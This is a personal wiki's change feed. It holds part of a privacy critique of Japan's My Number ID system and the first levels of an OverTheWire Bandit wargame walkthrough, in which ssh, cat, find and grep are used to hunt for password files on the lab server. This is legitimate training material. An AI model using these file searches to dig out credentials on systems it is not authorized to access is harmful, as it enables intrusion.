This article presents concerns from a technical and privacy point of view. This article does not present a legal analysis and I&#039;m not a lawyer.&lt;br /&gt;
&lt;br /&gt;
== One number for everything ==&lt;br /&gt;
&amp;lt;blockquote&amp;gt;第一章　総則&lt;br /&gt;
&lt;br /&gt;
（目的）&lt;br /&gt;
&lt;br /&gt;
第一条　この法律は　…　個人番号　…　の有する特定の個人　…　を識別する機能を活用し、並びに当該機能によって異なる分野に属する情報を照合してこれらが同一の者に係るものであるかどうかを確認することができる…。&amp;lt;ref&amp;gt;https://laws.e-gov.go.jp/law/425AC0000000027#Mp-Ch_1-At_1&amp;lt;/ref&amp;gt;&amp;lt;/blockquote&amp;gt;The idea of the My Number law is to assign a unique number to every person that you can use to tell persons apart. The 厚生労働省 and 法務省 intent to use this system as a unique identifier that many other public and private systems can attach personally identifiable information (PII) to. Here&#039;s are some examples of PII that currently is connected to someone&#039;s My Number:&lt;br /&gt;
&lt;br /&gt;
* Name&lt;br /&gt;
* Date of birth&lt;br /&gt;
* Gender&lt;br /&gt;
* Address history&lt;br /&gt;
* Electronic Health Records&lt;br /&gt;
* Immigration and residence status&lt;br /&gt;
* Personal income and tax information&lt;br /&gt;
* Information about family members&lt;br /&gt;
* Bank account information&lt;br /&gt;
&lt;br /&gt;
=== Problem ===&lt;br /&gt;
Any party that knows someone&#039;s personal number and has access to the data repositories that store any of the above records can access someone&#039;s PII. Apart from legit use cases, the major concern here is that if someone has access to data repositories that they should not have access to, they can gain sensitive information about a person without that person&#039;s knowledge.&lt;br /&gt;
&lt;br /&gt;
== Linked to a physical card ==&lt;br /&gt;
Several government ministries urge citizens to apply for a physical &#039;&#039;&#039;My Number Card&#039;&#039;&#039;. This My Number Card shows the following sensitive information about a person:&lt;br /&gt;
&lt;br /&gt;
* Full name&lt;br /&gt;
* Current address&lt;br /&gt;
* Date of birth&lt;br /&gt;
* Expiry date&lt;br /&gt;
* Previous home addresses&lt;br /&gt;
* Personal number&lt;br /&gt;
&lt;br /&gt;
The My Number Card further is equipped with smart card functionality that lets you conduct various official businesses using its integrated digital certificate. With this digital certificate, you can sign or identify yourself. The smart card is protected by several passcodes:&lt;br /&gt;
&lt;br /&gt;
* 住民基本台帳用: Passcode that allows you to change information about you on the card when going to town hall. (4 digits)&lt;br /&gt;
* 券面事項入力補助用: Passcode that lets you electronically transfer address, name, and other information about you to other devices. (4 digits)&lt;br /&gt;
* 利用者証明用電子証明書用: Passcode that lets you identify yourself when authenticating with the マイナポータル, when printing your registration information (住民票), or when going to the hospital (4 digits)&lt;br /&gt;
* 署名用電子証明書用: Passcode that lets you use the digital signing feature in your card. Example: Personal tax filings when using the e-Tax system. (6-16 digits)&lt;br /&gt;
&lt;br /&gt;
=== Problem ===&lt;br /&gt;
&lt;br /&gt;
* Theft or Loss: Losing the physical card means that anyone can see all of the sensitive information printed on the card.&lt;br /&gt;
* Single point of failure: Losing this card means that you can&#039;t conduct any of the official business in the preceding list.&lt;br /&gt;
* Single point of failure (medical): You can&#039;t prove that you have health insurance if you don&#039;t have your My Number Card&lt;br /&gt;
&lt;br /&gt;
== Unchangeable number ==&lt;br /&gt;
There are no provisions for changing your personal number.&lt;br /&gt;
&lt;br /&gt;
=== Problem ===&lt;br /&gt;
&lt;br /&gt;
* Your PII accessible in eternity: If an unauthorized third party learns your personal number and can unlawfully access any data repository that links your personal number to sensitive information, they can access this sensitive information in eternity.&lt;br /&gt;
&lt;br /&gt;
== Passcodes written on paper ==&lt;br /&gt;
When you apply for a My Number Card, you need to set the four passcodes as described in [[#Linked to a physical card]]. At Kitazawa Town Hall (北沢総合支所 ) &amp;lt;ref&amp;gt;https://www.city.setagaya.lg.jp/02205/8489.html&amp;lt;/ref&amp;gt;in Setagaya City, town hall employees asked me in 2023 to write down my passcodes on a piece of paper and hand it to them. The employees would then set the passcodes themselves and give me the card.&lt;br /&gt;
&lt;br /&gt;
=== Problem ===&lt;br /&gt;
&lt;br /&gt;
* Third party can learn passcode: If the pass codes are not shredded properly or if an unauthorized party somehow gains access to the pieces of paper with passcodes on them, they&#039;re able to conduct most relevant official business against your will - if they&#039;re able to retrieve your card as well. This is an unacceptable risk.&lt;br /&gt;
* Town hall employees know your passcode: Since you&#039;re instructing town hall employees to set your passcode, they know your passcode. They can conduct official business against your will. If you don&#039;t change your passcode immediately, they may wait for a few months, retrieve your card (for example when visiting town hall a second time), and use the card without your authorization. The fact that it&#039;s possible at all is concerning.&lt;br /&gt;
* No good passcode hygiene: There are no instructions on how to choose a safe passcode that is difficult to guess or brute force. While the My Number card locks you out after a number of unsuccessful passcode entry attempts, you can just set your birth year as a passcode and someone can guess this passcode by looking at your date of birth written on the card that they&#039;ve just stolen from you.&lt;br /&gt;
&lt;br /&gt;
== Other concerns ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Misinformation&#039;&#039;&#039;: 厚生労働省 deliberately does not tell citizens that they can use their health insurance without a My Number card, for example by obtaining a 資格確認証, a plastic card without any electronic functionality. I personally only know a few people that know this. And they&#039;re the ones that told me.&lt;br /&gt;
* &#039;&#039;&#039;Waste of tax money&#039;&#039;&#039;: If you visually compare the 資格確認証 and 健康保険証 issued by 協会けんぽう you will notice that they mostly look the same. One&#039;s in yellow, and the other one&#039;s in blue. To think that the government spent 10 years rolling out the My Number health insurance card scheme, and a yellow plastic card offering all the functionality that you need, shows that the My Number health insurance card scheme is not effective. When you consider that after all of this busywork, I get another card that looks the same as my old one, you may think: &#039;&#039;Why didn&#039;t they just keep the card blue?&#039;&#039;&lt;br /&gt;
* &#039;&#039;&#039;Usability:&#039;&#039;&#039; To use any of the electronic functionality, you need to be at least somewhat competent at using IT systems. If you&#039;re not good at it, you can&#039;t do the following:&lt;br /&gt;
** Go to the doctor&lt;br /&gt;
** File your taxes online&lt;br /&gt;
** Conduct any other official, electronic business&lt;br /&gt;
* &#039;&#039;&#039;Reliability of My Number card in hospitals&#039;&#039;&#039;: For various reliability reasons&amp;lt;ref&amp;gt;「やむを得ず10割負担」が3倍に急増&lt;br /&gt;
&lt;br /&gt;
https://www.ben54.jp/news/3154&amp;lt;/ref&amp;gt;, or if you forget your passcode, patients can be asked to pay the full amount for medical treatments&amp;lt;ref&amp;gt;高齢の母が病院で「マイナ保険証」の受付操作ができず、10割負担で「4000円」の支払いを求められたとのこと。機械の操作が難しいなら「資格確認書」だけ使うべきでしょうか？&lt;br /&gt;
&lt;br /&gt;
https://financial-field.com/living/entry-362846&amp;lt;/ref&amp;gt; on the spot. You then need to apply for a refund from your health insurance&amp;lt;ref&amp;gt;https://tetsuzuki-planner.jp/plan/iryouhishikyuushinsei&amp;lt;/ref&amp;gt;. Almost 70 % of hospitals recently reported technical difficulties.&amp;lt;ref&amp;gt;マイナ保険証に関する最新の実態調査で、2025年8月以降も69.8%の医療機関でマイナ保険証に関するトラブルが発生していることが判明したと明らかにした。&lt;br /&gt;
&lt;br /&gt;
https://archive.is/d2Slz#selection-479.2-479.78&amp;lt;/ref&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Certificate expiry&#039;&#039;&#039;: If you forget to renew the electronic certificate on your my number card, you can&#039;t go to the hospital anymore or have to pay the full amount yourself. Again, for older people this presents a problem.&amp;lt;ref&amp;gt;マイナ保険証トラブル「有効期限切れ」が倍増　資格確認できず「いったん10割負担」も多く発生　保団連調査 https://www.tokyo-np.co.jp/article/465316&amp;lt;/ref&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Low adoption&#039;&#039;&#039;: Less than 50% of citizens use the My Number health insurance card scheme &amp;lt;ref&amp;gt;マイナ保険証の利用率は徐々に上昇しているものの、直近の利用率が40%未満の医療機関が半数以上 トラブルの「有効期限切れ」45.2%は、約1年前の調査時（20.1%）と比較して割合が倍増 マイナ保険証「今後トラブルがゼロになることはない」医師団体が“紙の保険証”復活訴える&lt;br /&gt;
&lt;br /&gt;
https://x.com/shahokyo1/status/2017165227964375343&amp;lt;/ref&amp;gt;&amp;lt;ref&amp;gt;調査結果によると、マイナ保険証の利用率は徐々に上昇しているものの、直近の利用率が40%未満の医療機関が半数以上を占めたという。&lt;br /&gt;
&lt;br /&gt;
https://archive.is/d2Slz (https://news.yahoo.co.jp/articles/b8cb0ee6b84db4ac1c9473625007e3e3a3e58254)&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Reliability ==&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=User:Justus&amp;diff=92</id>
		<title>User:Justus</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=User:Justus&amp;diff=92"/>
		<updated>2026-01-31T08:01:26Z</updated>

		<summary type="html">&lt;p&gt;Justus: Created page with &amp;quot;Hi! This is my user page on the justus.pw WIki.&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Hi! This is my user page on the justus.pw WIki.&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Category:OverTheWire&amp;diff=91</id>
		<title>Category:OverTheWire</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Category:OverTheWire&amp;diff=91"/>
		<updated>2026-01-30T07:37:27Z</updated>

		<summary type="html">&lt;p&gt;Justus: 1 revision imported&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;These are my writeups for the [https://overthewire.org/wargames/ OverTheWire wargames].&lt;br /&gt;
&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=OverTheWire_Bandit_walkthrough&amp;diff=89</id>
		<title>OverTheWire Bandit walkthrough</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=OverTheWire_Bandit_walkthrough&amp;diff=89"/>
		<updated>2026-01-30T07:37:27Z</updated>

		<summary type="html">&lt;p&gt;Justus: 1 revision imported&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This article contains a walkthrough for all 34 levels of the Bandit wargame on [https://overthewire.org OverTheWire].&lt;br /&gt;
&lt;br /&gt;
* Link to Bandit wargame: https://overthewire.org/wargames/bandit/&lt;br /&gt;
&lt;br /&gt;
The OverTheWire wargames have been on the web for a long time. You don’t have to pay anything to play them. The OverTheWire maintainers are volunteering a lot of time to teach everyone about Linux security. Please consider [https://overthewire.org/information/donate.html donating to OverTheWire].&lt;br /&gt;
&lt;br /&gt;
I’ve solved most of the levels in Bandit around 2017. I thought it would be useful to write up the shell commands I’ve used to solve each level without giving away the solution password themselves. Use this guide if you feel stuck and try your best coming up with your own original shell invocations.&lt;br /&gt;
&lt;br /&gt;
I’ve marked all passwords in the command outputs with &amp;lt;code&amp;gt;XXX...&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;YYY...&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
And most importantly, have fun :)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-0&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 0 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit0.html&lt;br /&gt;
&lt;br /&gt;
To solve level 0, you need to log in to &amp;lt;code&amp;gt;bandit0&amp;lt;/code&amp;gt; with password &amp;lt;code&amp;gt;bandit0&amp;lt;/code&amp;gt; using SSH on &amp;lt;code&amp;gt;bandit.labels.overthewrite.org&amp;lt;/code&amp;gt; and port 2220.&lt;br /&gt;
&lt;br /&gt;
Connect with &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt; by using the following command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit0@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
When you connect successfully, you should see a message like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;                         _                     _ _ _&lt;br /&gt;
                        | |__   __ _ _ __   __| (_) |_&lt;br /&gt;
                        | &#039;_ \ / _` | &#039;_ \ / _` | | __|&lt;br /&gt;
                        | |_) | (_| | | | | (_| | | |_&lt;br /&gt;
                        |_.__/ \__,_|_| |_|\__,_|_|\__|&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                      This is an OverTheWire game server.&lt;br /&gt;
            More information on http://www.overthewire.org/wargames&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
  Enjoy your stay!&lt;br /&gt;
&lt;br /&gt;
bandit0@bandit:~$&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-1&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 1 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit1.html&lt;br /&gt;
&lt;br /&gt;
Connect to this level’s account using the following command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# The password is the same as level 0&lt;br /&gt;
ssh bandit0@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Read out the file called &amp;lt;code&amp;gt;readme&amp;lt;/code&amp;gt; using the &amp;lt;code&amp;gt;cat&amp;lt;/code&amp;gt; command and learn the password for the next level:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;cat readme&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This prints out the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;Congratulations on your first steps into the bandit game!!&lt;br /&gt;
Please make sure you have read the rules at https://overthewire.org/rules/&lt;br /&gt;
If you are following a course, workshop, walkthrough or other educational activity,&lt;br /&gt;
please inform the instructor about the rules as well and encourage them to&lt;br /&gt;
contribute to the OverTheWire community so we can keep these games free!&lt;br /&gt;
&lt;br /&gt;
The password you are looking for is: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the password contained within the &amp;lt;code&amp;gt;readme&amp;lt;/code&amp;gt; file and proceed to the next level’s account on Bandit.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-2&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 2 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit2.html&lt;br /&gt;
&lt;br /&gt;
Use &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt; to connect to the &amp;lt;code&amp;gt;bandit1&amp;lt;/code&amp;gt; account on Bandit:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Use the password from the previous level here:&lt;br /&gt;
ssh bandit1@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This level stores its password in a file called &amp;lt;code&amp;gt;-&amp;lt;/code&amp;gt;. Trying to just read out the file using the command &amp;lt;code&amp;gt;cat -&amp;lt;/code&amp;gt; doesn’t work. The program &amp;lt;code&amp;gt;cat&amp;lt;/code&amp;gt; assumes that you are passing it something over standard input.&lt;br /&gt;
&lt;br /&gt;
Refer to the manual of &amp;lt;code&amp;gt;cat&amp;lt;/code&amp;gt;, retrieved on Bandit using &amp;lt;code&amp;gt;man cat&amp;lt;/code&amp;gt;. Here you can see that &amp;lt;code&amp;gt;cat&amp;lt;/code&amp;gt; interprets the file called &amp;lt;code&amp;gt;-&amp;lt;/code&amp;gt; in a specific way:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--vale off --&amp;gt;&lt;br /&gt;
&amp;lt;blockquote&amp;gt;NAME cat - concatenate files and print on the standard output&lt;br /&gt;
&lt;br /&gt;
SYNOPSIS cat [OPTION]… [FILE]…&lt;br /&gt;
&lt;br /&gt;
DESCRIPTION Concatenate FILE(s) to standard output.&lt;br /&gt;
&lt;br /&gt;
With no FILE, or when FILE is -, read standard input.&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&amp;lt;!--vale on--&amp;gt;&lt;br /&gt;
The solution is to prepend the filename &amp;lt;code&amp;gt;-&amp;lt;/code&amp;gt; with a &amp;lt;code&amp;gt;./&amp;lt;/code&amp;gt;. The following command reveals the password for the next level:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;cat ./-&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-3&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 3 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit3.html&lt;br /&gt;
&lt;br /&gt;
Connect to &amp;lt;code&amp;gt;bandit&amp;lt;/code&amp;gt; using the following command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Enter password from level 1&lt;br /&gt;
ssh bandit2@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Solve the next level by escaping all spaces in the target filename. In bash, put a backward slash &amp;lt;code&amp;gt;\&amp;lt;/code&amp;gt; before any spaces in a filename.&lt;br /&gt;
&lt;br /&gt;
Here’s how to escape spaces in the filename &amp;lt;code&amp;gt;spaces in this filename&amp;lt;/code&amp;gt; and print out its contents:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;cat spaces\ in\ this\ filename&lt;br /&gt;
# You can also type this:&lt;br /&gt;
cat &amp;quot;spaces in this filename&amp;quot;&lt;br /&gt;
# or this&lt;br /&gt;
cat &#039;spaces in this filename&#039;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Note the password and use it in the next level.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-4&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 4 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit4.html&lt;br /&gt;
&lt;br /&gt;
This level has a hidden filename. In many UNIX operating systems, filenames are “hidden” if they start with a period &amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt; character.&lt;br /&gt;
&lt;br /&gt;
Connect to the &amp;lt;code&amp;gt;bandit3&amp;lt;/code&amp;gt; account using the following command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Enter password from level 3&lt;br /&gt;
ssh bandit3@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Then run the following command to show the password for the next level:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;cat inhere/.hidden&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Note the password and use it in the next level.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-5&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 5 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit5.html&lt;br /&gt;
&lt;br /&gt;
This level has a bunch of files in the &amp;lt;code&amp;gt;inhere&amp;lt;/code&amp;gt; directory. Only one of them is human-readable and contains the password. Your task is to find this file.&lt;br /&gt;
&lt;br /&gt;
Connect to the level using &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Use password from level 3 to log in&lt;br /&gt;
ssh bandit4@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Find out what files are in the &amp;lt;code&amp;gt;inhere&amp;lt;/code&amp;gt; directory:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;bandit4@bandit:~$ ls inhere&lt;br /&gt;
-file00  -file01  -file02  -file03  -file04  -file05  -file06  -file07  -file08  -file09&amp;lt;/pre&amp;gt;&lt;br /&gt;
Using the &amp;lt;code&amp;gt;head&amp;lt;/code&amp;gt; command, you can print the beginning of each file and the name of that file. Try running &amp;lt;code&amp;gt;head inhere/*&amp;lt;/code&amp;gt; and find the file that has the password for the next level:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;bandit4@bandit:~$ head inhere/*&lt;br /&gt;
==&amp;amp;gt; inhere/-file00 &amp;amp;lt;==&lt;br /&gt;
QRrtZi  H&lt;br /&gt;
         |ȧ^&lt;br /&gt;
==&amp;amp;gt; inhere/-file01 &amp;amp;lt;==&lt;br /&gt;
7L3Yͯ    ŴEY     V&amp;amp;amp;hF&lt;br /&gt;
==&amp;amp;gt; inhere/-file02 &amp;amp;lt;==&lt;br /&gt;
O̫`\-⃐Hx2K&lt;br /&gt;
==&amp;amp;gt; inhere/-file03 &amp;amp;lt;==&lt;br /&gt;
ix#e&amp;amp;gt;VOp{       MUb4&lt;br /&gt;
==&amp;amp;gt; inhere/-file04 &amp;amp;lt;==&lt;br /&gt;
gQeE}:gj8&amp;amp;lt;.e&lt;br /&gt;
==&amp;amp;gt; inhere/-file05 &amp;amp;lt;==&lt;br /&gt;
S 0]7b&amp;amp;lt;~&lt;br /&gt;
==&amp;amp;gt; inhere/-file06 &amp;amp;lt;==&lt;br /&gt;
G=1B׃&amp;amp;quot;&lt;br /&gt;
      W9ؽ5&lt;br /&gt;
==&amp;amp;gt; inhere/-file07 &amp;amp;lt;==&lt;br /&gt;
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&lt;br /&gt;
&lt;br /&gt;
==&amp;amp;gt; inhere/-file08 &amp;amp;lt;==&lt;br /&gt;
K~+9&amp;amp;quot;T*Z$&amp;amp;quot;r&lt;br /&gt;
&lt;br /&gt;
==&amp;amp;gt; inhere/-file09 &amp;amp;lt;==&amp;lt;/pre&amp;gt;&lt;br /&gt;
In my case, &amp;lt;code&amp;gt;inhere/-file07&amp;lt;/code&amp;gt; was the winner. Note the password and use it in the next level.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-6&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 6 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit6.html&lt;br /&gt;
&lt;br /&gt;
This level has you look for a specific file within the &amp;lt;code&amp;gt;inhere&amp;lt;/code&amp;gt; directory. The file isn’t executable, 1033 bytes long, and human-readable. The &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; command is useful for finding a file using specific criteria like these.&lt;br /&gt;
&lt;br /&gt;
First, connect to this level using &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Use the password from level 5&lt;br /&gt;
ssh bandit5@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This is the &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; invocation that found the file for me.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;find inhere -type f -size 1033c -exec cat {} \;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The flags used here do the following:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;-type f&amp;lt;/code&amp;gt; looks for regular files.&lt;br /&gt;
* &amp;lt;code&amp;gt;-size 1033c&amp;lt;/code&amp;gt; looks for a file exactly 1033 bytes long.&lt;br /&gt;
* &amp;lt;code&amp;gt;-exec cat {} \;&amp;lt;/code&amp;gt; prints the contents of the file using &amp;lt;code&amp;gt;cat&amp;lt;/code&amp;gt; if found.&lt;br /&gt;
&lt;br /&gt;
Find may print out a bunch of gibberish files as well. Note the password and use it in the next level.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-7&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 7 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit7.html&lt;br /&gt;
&lt;br /&gt;
This level is a continuation of the previous level. Use &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; again to solve it. This time, the winning file belongs to the user &amp;lt;code&amp;gt;bandit7&amp;lt;/code&amp;gt;, is owned by the group &amp;lt;code&amp;gt;bandit6&amp;lt;/code&amp;gt;, and is 33 bytes long. The file could be anywhere on the system and not only in the &amp;lt;code&amp;gt;bandit6&amp;lt;/code&amp;gt; user’s home directory.&lt;br /&gt;
&lt;br /&gt;
First, connect to the level using &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit6@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Use the following &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; invocation to find the file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;find / -size 33c \&lt;br /&gt;
  -user bandit7 \&lt;br /&gt;
  -group bandit6 -exec head {} \; 2&amp;gt; /dev/null&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The arguments used for the &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; command used this time do the following:&lt;br /&gt;
&lt;br /&gt;
* The &amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt; argument makes &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; search starting from the filesystem root.&lt;br /&gt;
* &amp;lt;code&amp;gt;-size 33c&amp;lt;/code&amp;gt; only looks for 33 byte long files.&lt;br /&gt;
* &amp;lt;code&amp;gt;-user bandit7&amp;lt;/code&amp;gt; looks for files belonging to the user &amp;lt;code&amp;gt;bandit7&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &amp;lt;code&amp;gt;-group bandit6&amp;lt;/code&amp;gt; looks for files belonging to the group &amp;lt;code&amp;gt;bandit6&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &amp;lt;code&amp;gt;-exec head {}\;&amp;lt;/code&amp;gt; prints the contents of any file matching these criteria.&lt;br /&gt;
* &amp;lt;code&amp;gt;2&amp;amp;gt; /dev/null&amp;lt;/code&amp;gt; tells Bash to discard any errors&lt;br /&gt;
&lt;br /&gt;
Discarding errors is important here because the &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; command produces a lot of errors when scanning through the complete filesystem. In the machines filesystems there are a lot of files that the &amp;lt;code&amp;gt;bandit6&amp;lt;/code&amp;gt; user isn’t allowed to access. The &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; command informs you of every error that it encounters when reading files. This can cause it to produce a lot of output and makes finding the file you are looking for difficult.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-8&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 8 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit8.html&lt;br /&gt;
&lt;br /&gt;
In this level, you need to search the file &amp;lt;code&amp;gt;data.txt&amp;lt;/code&amp;gt; for the next level’s password. The password is written right next to the string &amp;lt;code&amp;gt;millionth&amp;lt;/code&amp;gt;. Use the &amp;lt;code&amp;gt;grep&amp;lt;/code&amp;gt; command to solve this level.&lt;br /&gt;
&lt;br /&gt;
Connect to the level using &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit7@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The following regular expression used with &amp;lt;code&amp;gt;grep&amp;lt;/code&amp;gt; finds the word &amp;lt;code&amp;gt;millionth&amp;lt;/code&amp;gt; and anything written after it:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;millionth.*&amp;lt;/pre&amp;gt;&lt;br /&gt;
Here’s how to use it with the &amp;lt;code&amp;gt;grep&amp;lt;/code&amp;gt; command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;grep -e &#039;millionth.*&#039; data.txt&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
You should see something like the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;millionth       XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the password written after &amp;lt;code&amp;gt;millionth&amp;lt;/code&amp;gt; and use it for the next level.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-9&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
